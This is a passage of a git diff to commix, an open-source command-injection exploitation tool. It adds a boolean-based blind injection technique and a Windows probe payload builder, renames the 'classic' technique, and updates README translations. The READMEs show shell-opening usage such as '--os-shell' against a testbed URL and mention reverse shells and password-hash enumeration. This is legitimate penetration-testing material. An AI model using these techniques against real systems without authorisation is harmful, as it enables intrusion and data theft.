hasil), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Lima teknik injeksi** - classic (berbasis hasil), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. * **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. -* **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. -* **Bukti eksploitasi** - `--proof` membuktikan kembali setiap temuan dengan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian, dan `--parse-errors` melaporkan pesan galat dari shell itu sendiri ketika sebuah payload mencapai shell tetapi tidak dipahami. -* **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. +* **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan dan keluaran terbaca mesin** - hasil disimpan per target dalam berkas sesi dan dapat diekspor sebagai JSON, sebagai CSV yang mencakup setiap target yang diuji, atau sebagai catatan HAR dari lalu lintas HTTP pemindaian. Opsi yang digunakan sebuah pemindaian dapat disimpan sebagai profil dan digunakan kembali. @@ -67,11 +65,11 @@ Untuk mendapatkan daftar semua opsi dan beralih gunakan: Menguji satu parameter yang dapat diinjeksi, lalu masuk ke shell pada target: - $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa pun: - $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] > Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh publik diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 523cdbe5ea..1820d3d207 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -9,10 +9,10 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> **Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut](https://owasp.org/www-community/attacks/Command_Injection)** (ve **[kod](https://owasp.org/www-community/attacks/Code_Injection)**) enjeksiyonu güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. @@ -34,12 +34,10 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Dört enjeksiyon tekniği** - classic (sonuç tabanlı), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Beş enjeksiyon tekniği** - classic (sonuç tabanlı), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). * **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. -* **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). -* **Sömürü kanıtı** - `--proof` her bulguyu kendi deneyiyle yeniden kanıtlar ve dökümü taramanın diğer çıktılarının yanına yazar, `--parse-errors` ise bir yükün bir kabuğa ulaştığı ancak anlaşılmadığı durumlarda kabuğun kendi hata mesajlarını bildirir. -* **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. +* **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar ve makine tarafından okunabilir çıktı** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak, test edilen her hedefi kapsayan bir CSV olarak veya taramanın HTTP trafiğinin HAR kaydı olarak dışa aktarılabilir. Bir taramanın çalıştırıldığı seçenekler profil olarak kaydedilip yeniden kullanılabilir. @@ -68,11 +66,11 @@ Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: Tek bir enjekte edilebilir parametreyi test edip hedefte bir kabuk açmak için: - $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı yöntemle kanıtlamak için: - $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] > `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun` interactsh diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 066dcf59a0..399ef5ac5d 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -127,8 +127,9 @@ def check_waf(url, http_request_method): Check injection technique(s) status. """ def injection_techniques_status(): - if settings.CLASSIC_STATE is not True and \ + if settings.RESULTS_BASED_STATE is not True and \ settings.EVAL_BASED_STATE is not True and \ + settings.BOOLEAN_BASED_STATE is not True and \ settings.TIME_BASED_STATE is not True and \ settings.FILE_BASED_STATE is not True and \ settings.TEMPFILE_BASED_STATE is not True and \ @@ -437,6 +438,16 @@ def time_based_payloads(): The payload builder the file-based technique uses, chosen the same way: the file it writes and reads back is the technique's, and the sink only decides how the command that fills it is reached. """ +def boolean_based_payloads(): + if menu.options.eval_sink: + from src.core.eval.payloads import boolean_based as payloads + else: + from src.core.techniques.boolean_based import bb_payloads as payloads + return payloads + +""" +The payload builder the file-based technique uses, chosen the same way. +""" def file_based_payloads(): if menu.options.eval_sink: from src.core.eval.payloads import file_based as payloads @@ -1182,12 +1193,12 @@ def decode_page_body(body, response=None, percent_decode=True): output against kilobytes of layout is a difference too small to read as one - which is how a parameter that plainly reaches a shell comes back as one that changes nothing. """ -def filtered_page_content(page, only_text=True): +def filtered_page_content(page, only_text=True, split=settings.SINGLE_WHITESPACE): if not isinstance(page, str): return page - page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>" + (r"|<[^>]+>|\t|\n|\r" if only_text else ""), settings.SINGLE_WHITESPACE, page) - page = re.sub(settings.SINGLE_WHITESPACE + r"{2,}", settings.SINGLE_WHITESPACE, page) - return page.strip() + page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>" + (r"|<[^>]+>|\t|\n|\r" if only_text else ""), split, page) + page = re.sub(re.escape(split) + r"{2,}", split, page) + return page.strip().strip(split) # The alphanumeric run at either end of a marking, which would otherwise start or stop mid-word. def _trim_alphanum(value): @@ -3905,6 +3916,174 @@ def is_empty(multi_parameters, http_request_method): def graphql_escape_payload(payload): return payload.replace("\\", "\\\\").replace("\"", "\\\"") +""" +Whether the run was given a way to tell a true answer from a false one off the page itself. +""" +def boolean_oracle_given(): + return any((menu.options.string, menu.options.not_string, menu.options.regexp, menu.options.code)) + +""" +Whether the page says the injected condition held. + +The answer a target gives where it branches on the command rather than printing what it returned - +the page it renders, or the status it answers with, stands in for the output a blind sink withholds. +""" +def boolean_oracle(page, code=None): + if menu.options.string: + return menu.options.string in (page or "") + if menu.options.not_string: + return menu.options.not_string not in (page or "") + if menu.options.regexp: + try: + return bool(re.search(menu.options.regexp, page or "")) + except re.error: + return None + if menu.options.code is not None: + return str(code) == str(menu.options.code) + # Nothing was named, so the answer is read against the two pages a known question came back with: + # whichever of them this response is closer to is the answer it carries. Calibrated rather than + # compared to a threshold, because what a condition changes can be a couple of characters of a + # page that is otherwise thousands - a difference no ratio of the whole would notice. + if settings.BOOLEAN_TRUE_PAGE is None or settings.BOOLEAN_FALSE_PAGE is None or page is None: + return None + current = comparable_page(page) + to_true = difflib.SequenceMatcher(None, settings.BOOLEAN_TRUE_PAGE, current).ratio() + to_false = difflib.SequenceMatcher(None, settings.BOOLEAN_FALSE_PAGE, current).ratio() + if to_true == to_false: + return None + return to_true > to_false + +""" +Learn what a yes and a no look like on this target, from two questions whose answers are known. + +False where the two are indistinguishable: a page that reads the same either way carries no answer, +and everything bisected on it would be noise. +""" +def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=None): + settings.BOOLEAN_TRUE_PAGE = settings.BOOLEAN_FALSE_PAGE = None + settings.BOOLEAN_TRUE_RAW = settings.BOOLEAN_FALSE_RAW = None + settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE = code_true, code_false + if page_true is None or page_false is None: + return False + true_page, false_page = comparable_page(page_true), comparable_page(page_false) + if not true_page or true_page == false_page: + return False + settings.BOOLEAN_TRUE_PAGE, settings.BOOLEAN_FALSE_PAGE = true_page, false_page + settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW = page_true, page_false + return True + +""" +Text one answer carries and the other does not, quoted back as the option that would name it. + +Worked out from the two pages a known question came back with, so that a finding made by calibration +can be reached again without it - the next run is told what a true answer looks like instead of +having to learn it. Where the two answers differ by a word that also appears elsewhere on the page, +the word alone would match either of them, so it is grown outwards into the text around it until it +is text only that answer carries: 'up' is on both pages, 'Host is up' on one. + +Nothing is offered where the difference is not the target's to make: a payload that prints its own +marker is answered by a word this run invented, which would mean nothing to the next one. +""" +def inferred_boolean_oracle(): + if settings.BOOLEAN_PRINTED_STATE: + return "" + true_raw, false_raw = settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW + if not true_raw or not false_raw: + return "" + + # The shortest window around the difference that the other answer has no copy of. + def unique_around(page, other, start, end): + for margin in settings.BOOLEAN_STRING_HINT_MARGINS: + low, high = max(0, start - margin), min(len(page), end + margin) + # A window that opens inside a tag is snapped back to the start of it, so what is quoted does + # not begin with half an element. + reach = max(0, low - settings.BOOLEAN_STRING_HINT_MAXLEN) + opened = page.rfind("<", reach, low) + if opened > page.rfind(">", reach, low): + low = opened + head, tail = page[low:start], page[start:high] + """ + The markup around a difference is often the difference. + + A scenario page that lists its own source carries both branches as text, so the words alone + are on both answers and only the rendered one is wrapped in its tag. The window is therefore + quoted as it stands first, and only cut back to the words inside it when that is not enough. + """ + shapes = [head + tail] + if ">" in head or "<" in tail: + shapes.append((head.rsplit(">", 1)[1] if ">" in head else head) + + (tail.split("<", 1)[0] if "<" in tail else tail)) + for shape in shapes: + candidate = shape.strip().split(settings.END_LINE.LF)[0].strip(" \"'\t\r") + candidate = candidate[:settings.BOOLEAN_STRING_HINT_MAXLEN].strip() + if len(candidate) < 2 or not candidate.isprintable(): + continue + if candidate in other or candidate not in page: + continue + return candidate + return "" + + # A status code that differs is the cheapest answer of all, and the one least likely to move. + true_code, false_code = settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE + if true_code and false_code and str(true_code) != str(false_code) and str(true_code) not in settings.WAF_BLOCK_HTTP_CODES: + return "--code=" + str(true_code) + + # What the page shows, before anything with markup in it: a line of it reads as something a person + # looking at the page would point at, and a single word of it survives a target that renders the + # same answer a little differently. + def lines(page): + return set(filtered_page_content(page, split=settings.END_LINE.LF).split(settings.END_LINE.LF)) + + def words(page): + return set(filtered_page_content(page).split()) + + def usable(candidate, page, other): + candidate = candidate.strip() + return candidate and candidate in page and candidate not in other + + # A sentence first, being the one worth reading back; then a single word. + for pattern, sentence, extract in ((r"\A[\w.,! ]+\Z", True, lines), (r"\A\w{2,}\Z", False, words)): + only = extract(true_raw) - extract(false_raw) + for candidate in sorted((_.strip() for _ in only if _.strip()), key=len): + if not re.match(pattern, candidate): + continue + if sentence and not (settings.SINGLE_WHITESPACE in candidate and len(candidate) > settings.CANDIDATE_SENTENCE_MIN_LENGTH): + continue + if usable(candidate, true_raw, false_raw): + return "--string=" + quoted_value(candidate) + + for candidate in sorted((_.strip() for _ in words(false_raw) - words(true_raw) if _.strip()), key=len): + if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw): + return "--not-string=" + quoted_value(candidate) + + """ + Nothing the page says on its own tells the two apart, so the markup it says it in is tried. + + A page that lists its own source carries the words of both answers as text and differs only in + which of them it rendered - so the tag around the difference is the difference, and quoting it is + what makes the answer nameable at all. + """ + opcodes = [_ for _ in difflib.SequenceMatcher(None, false_raw, true_raw).get_opcodes() if _[0] != "equal"] + for option, page, other, on_true in (("--string", true_raw, false_raw, True), + ("--not-string", false_raw, true_raw, False)): + for _, i1, i2, j1, j2 in opcodes: + found = unique_around(page, other, *((j1, j2) if on_true else (i1, i2))) + if found: + return option + "=" + quoted_value(found) + return "" + +""" +The option that says which answer is which on this target, for the finding to be reported with. +""" +def boolean_oracle_hint(technique): + if technique != settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: + return "" + # Said only where the run worked it out for itself: a run that was already given one is being + # told what it told us. + if boolean_oracle_given(): + return "" + return inferred_boolean_oracle() + # Check if a GraphQL document, which is a body that names an operation and carries a selection set. def is_GraphQL_check(parameter): try: @@ -4103,6 +4282,18 @@ def print_os_info(target_os, target_arch, filename, newline_first): warn_msg = "Failed to fetch target operating system information." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Whether this technique reads its answer a piece at a time, rather than off the response it already has. + +What it costs is what makes it worth naming: a value read this way spends a length and a byte for +every character, and several of them asked for in a row are otherwise a run of identical lines with +nothing to say which value each one is working on. +""" +def incremental_retrieval(technique): + return technique in (settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) + """ Print enumeration info msgs """ @@ -4111,6 +4302,11 @@ class print_enumenation(): def _fetching(self, what): settings.print_data_to_stdout(settings.print_info_msg("Fetching the " + what + ".")) + # One of several values behind a single heading, named only where each is fetched separately. + def fetching_part(self, what, technique): + if incremental_retrieval(technique): + self._fetching(what) + # Say the powershell version is being fetched. def ps_version_msg(self): self._fetching("powershell version") @@ -5051,7 +5247,7 @@ def technique_display_name(technique): # Reaching an evaluation sink is not a technique of its own - it is the results-based one aimed # at different code, and the injection type is what says which sink was reached. if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - return settings.INJECTION_TECHNIQUE.CLASSIC + return settings.INJECTION_TECHNIQUE.RESULTS_BASED return technique """ @@ -5065,7 +5261,9 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + "." + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + oracle_hint = boolean_oracle_hint(technique) + info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload @@ -5226,6 +5424,23 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met else: settings.print_data_to_stdout(settings.END_LINE.CR) +""" +Fit what has been resolved so far onto the single line the progress display keeps rewriting. +""" +def progress_display_text(chars, furthest, total): + if furthest == 0: + return "" + if menu.options.no_truncate: + return "".join(chars[:furthest]) + width = settings.PROGRESS_DISPLAY_WIDTH + start = max(1, furthest - width + 1) + text = "".join(chars[start - 1:furthest]) + if start > 1: + text = ".." + text[2:] + if furthest - start + 1 == width and furthest < total: + text = text[:-2] + ".." + return text + """ Check if to use the "/tmp/" directory for tempfile-based technique. """ @@ -5462,6 +5677,21 @@ def windows_probe(chain, cmd, operator, expected, timesec): settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + windows_sleep(timesec) + windows_tail(chain)) +""" +The same comparison, answering by printing rather than by waiting. + +cmd.exe hands no exit status back to a page that shows only what a command printed, so what says yes +is a marker on the page and what says no is its absence - read as the difference between two pages, +never for what it spells. +""" +def windows_boolean_probe(chain, cmd, operator, expected): + if "\"" not in cmd: + cmd = "\"" + cmd + "\"" + return (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + + settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + + "echo " + settings.BOOLEAN_MARKER + windows_tail(chain)) + """ Report whether an interaction carries the result of the sum the payload asked the target to work out. Without a sum to check, any interaction counts. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 6dc9197175..576c77b591 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -35,7 +35,8 @@ from src.core.techniques.oob import oob_handler from src.core.techniques.file_based import fb_handler from src.core.techniques.tempfile_based import tfb_handler -from src.core.techniques.classic import cb_handler +from src.core.techniques.results_based import rb_handler +from src.core.techniques.boolean_based import bb_handler from src.core.eval import eb_handler """ @@ -251,7 +252,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, wanted = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" shaped = [pair for pair in shaped if pair[1] == wanted] or shaped - settings.CLASSIC_STATE = True + settings.RESULTS_BASED_STATE = True try: for whitespace in settings.WHITESPACES: if not settings.IDENTIFIED_COMMAND_INJECTION: @@ -290,7 +291,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.SKIP_CODE_INJECTIONS = True break - settings.CLASSIC_STATE = False + settings.RESULTS_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: @@ -523,17 +524,17 @@ def run_technique(injection_type, technique, state_name, skip_flag_name, tech_le """ Check if it's exploitable via classic command injection technique. """ -def classic_command_injection_technique(url, timesec, filename, http_request_method): +def results_based_command_injection_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI - technique = settings.INJECTION_TECHNIQUE.CLASSIC + technique = settings.INJECTION_TECHNIQUE.RESULTS_BASED # Prove the injection by what the response carries back. def exploit(): - result = cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + result = rb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if result is not False: settings.IDENTIFIED_COMMAND_INJECTION = True settings.SKIP_CODE_INJECTIONS = True return result - run_technique(injection_type, technique, "CLASSIC_STATE", "SKIP_COMMAND_INJECTIONS", "r", exploit) + run_technique(injection_type, technique, "RESULTS_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "r", exploit) """ Check if it's exploitable via dynamic code evaluation technique. @@ -549,6 +550,24 @@ def exploit(): return result run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "r", exploit, eval_sink=True) +""" +Check if it's exploitable via boolean-based blind command injection technique. +""" +def boolean_based_technique(url, timesec, filename, http_request_method): + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.BOOLEAN_BASED + # Prove the injection by what the page says, where the target branches on the command it ran. + def exploit(): + result = bb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result is not False: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + eval_sink = bool(menu.options.eval_sink) + if eval_sink: + injection_type = settings.INJECTION_TYPE.BLIND_CE + run_technique(injection_type, technique, "BOOLEAN_BASED_STATE", + "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS", "b", exploit, eval_sink=eval_sink) + """ Check if it's exploitable via time-based command injection technique. """ @@ -1061,7 +1080,7 @@ def _time_related_resume_redundant(): # A resumed finding is already confirmed, so re-verifying the slow ones adds nothing # when a results-based technique is stored too. return settings.LOAD_SESSION and not settings.USER_APPLIED_TECHNIQUE and any( - _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE)) + _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE)) # Test the parameter by how long the target takes to answer. def _run_time_based(): @@ -1085,12 +1104,16 @@ def _run_file_based(): end_detection = False techniques = [ - lambda: classic_command_injection_technique(url, timesec, filename, http_request_method), + lambda: results_based_command_injection_technique(url, timesec, filename, http_request_method), lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), _run_time_based, _run_file_based, lambda: oob_command_injection_technique(url, timesec, filename, http_request_method), ] + # Ahead of the delay-based one, being the cheaper way to ask the same question - and tried like + # any other technique, since the page it reads its answer off is there whether or not the run + # named what a true answer looks like. + techniques.insert(2, lambda: boolean_based_technique(url, timesec, filename, http_request_method)) # Work through the techniques in turn, carrying on past the ones that find nothing. def _run_techniques(): technique_idx = 0 diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index 39f6091d5a..68987ca06c 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -51,6 +51,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter: cmd = "cmd /c " + cmd execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + checks.print_enumenation().fetching_part("kernel name", technique) target_os, fresh = execute_cmd(cmd) if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: @@ -61,6 +62,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.DISTRO_INFO if not settings.TIME_RELATED_ATTACK and settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) + checks.print_enumenation().fetching_part("distribution", technique) distro_name, distro_fresh = execute_cmd(cmd) fresh = fresh or distro_fresh if distro_name: @@ -69,6 +71,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.WIN_RECOGNISE_HP if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_HP if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.print_enumenation().fetching_part("hardware platform", technique) target_arch, arch_fresh = execute_cmd(cmd) checks.set_target_arch(target_arch) fresh = fresh or arch_fresh diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py index 880e4bfb06..43fb9657ee 100644 --- a/src/core/controller/execution.py +++ b/src/core/controller/execution.py @@ -23,14 +23,16 @@ Select the injector module for the given technique. """ def select_injector(technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.techniques.classic import cb_injector as injector + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + from src.core.techniques.results_based import rb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.eval import eb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.techniques.time_based import tb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: from src.core.techniques.file_based import fb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: + from src.core.techniques.boolean_based import bb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.OOB: from src.core.techniques.oob import oob_injector as injector else: @@ -76,7 +78,7 @@ def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, wh to say, and calling a results-based one with the time-related argument list raises TypeError. """ def execute_cmd(cmd): - if technique == settings.INJECTION_TECHNIQUE.OOB: + if technique in (settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED): return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) if settings.TIME_RELATED_ATTACK and not results_based_injector: try: diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index b4930451ce..d4038cafc6 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -31,7 +31,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: injector = execution.select_injector(technique) else: - injector = execution.select_injector(settings.INJECTION_TECHNIQUE.CLASSIC) + injector = execution.select_injector(settings.INJECTION_TECHNIQUE.RESULTS_BASED) results_based_injector = True if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 13bb2f1e2c..920db7b5e3 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -199,8 +199,10 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque return # '--cleanup' is the answer already given: the file goes without being asked about. if not menu.options.cleanup: - msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [y/N] " - if common.read_input(msg, default="N", check_batch=True) not in settings.CHOICE_YES: + # Left behind, the file is a working command channel for whoever finds it next - so the + # answer that tidies up is the one offered, and '--batch' takes it. + msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [Y/n] " + if common.read_input(msg, default="Y", check_batch=True) not in settings.CHOICE_YES: return if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." @@ -656,6 +658,169 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG) +""" +Try each boundary until one of them makes the page answer yes to a question it should, and no to one +it should not. + +Two questions with known answers rather than one: a page that says yes to everything says nothing, +and a boundary that never reached a shell at all would otherwise be read as a finding. +""" +def do_boolean_based_process(url, timesec, filename, http_request_method, injection_type, technique): + + payloads = checks.boolean_based_payloads() + settings.BOOLEAN_PRINTED_STATE = False + from src.core.techniques.boolean_based 